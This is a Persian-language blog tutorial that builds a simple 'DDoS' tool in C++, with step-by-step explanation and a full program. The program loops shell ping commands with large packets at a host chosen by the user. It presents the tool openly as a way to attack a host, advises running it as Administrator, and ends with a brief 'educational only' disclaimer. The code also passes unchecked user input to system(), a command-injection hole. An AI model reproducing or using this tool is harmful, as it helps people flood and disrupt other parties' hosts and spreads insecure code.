کدنویس۲۱

کدنویس۲۱

با کد نویس 21 کد نویس باشید.
کدنویس۲۱

کدنویس۲۱

با کد نویس 21 کد نویس باشید.

ساخت دیداسر با C++

سلام دوستان در این پست ما یک دیداسر ساده برای اجرای حملات DDOS با زبان سی پلاس پلاس می نویسیم.

 

 ابتدا دو کتابخانه زیر (و راه using names...) را اضافه می کنیم.

1
2
3
#include <cstdlib>
#include <iostream>
using namespace std;

حال متغیر های زیر را تعریف می کنیم.

1
2
3
string host;
char packet[5];
int n,p;

متغیر host قرار است هاستی که آن را مورد حمله قرار خواهیم داد را مشخص می کند.

متغیر packet قرار است مقدار تبدیل شده متغیر p که از نوع int است به آرایه کاراکتر باشد.

متغیر n تعداد بار هایی که برنامه ما قرار است هاست را ping کند را مشخص می کند.

متغیر p اندازه packetی که قرار است به هاست ارسال کنیم را مشخص می کند.


حال از کد زیر برای دریافت و مشخص کردن متغیر ها استفاده می کنیم.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//آدرس هاست را در متغیر مربوط به آن ذخیره می کند
    cout << "Host : ";
    cin >> host;
    //اندازه Packet را می گیرد و در متغیر p می ریزد
    cout << "Packet Size : ";
    cin >> p;
    //اگر اندازه p بیشتر از 65500 بود آن را برابر 65500 قرار می دهد تا در اجرا مشکلی پیش نیاید
    if(p>65500)
    p=65500;
//متغیر p را به صورت آرایه کاراکتر در متغیر packet می ریزد.
    itoa(p,packet,10);
    //تعداد باری که قرار است عملیات تکرار شود را در متغیر n می ریزد.
    cout << "Number Of Reapit : ";
    cin >> n;

حال با کد های زیر دیداسر ما کامل می شود.

1
2
3
4
    for(int i=0;i<=n;i++)
   { 
    system (("ping " + host + " -t" + " -l " + packet).c_str());
   }

حلقه for تعداد اجرای دستور را مدیریت می کند و خط 3 دستور ping را (که یکی از دستورات cmd است) را برای هاست مورد حمله ما و با اندازه تعیین شده اجرا می کند و در واقع دیتایی با آن اندازه برای هاست ارسال می کند.

بهتر است برنامه را با دسترسی Administrator اجرا کنید.

این هم کد کامل:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//www.CodeWriter21.blogsky.com
#include <cstdlib>
#include <iostream>
using namespace std;
int main()
{
string host;
char packet[5];
int n,p;
    cout << "Host : ";
    cin >> host;
    
    cout << "Packet Size : ";
    cin >> p;
    
    if(p>65500)
    p=65500;
    itoa(p,packet,10);
    
    cout << "Number Of Reapit : ";
    cin >> n;
    
    for(int i=0;i<=n;i++)
    {
    system (("ping " + host + " -t" + " -l " + packet).c_str());
    }
     return 0;
}

این پست ها فقط آموزش هستند! خواهشاً بد استفاده نکنید.

تا برنامه ای دیگر خدانگهدار

نظرات 0 + ارسال نظر
برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد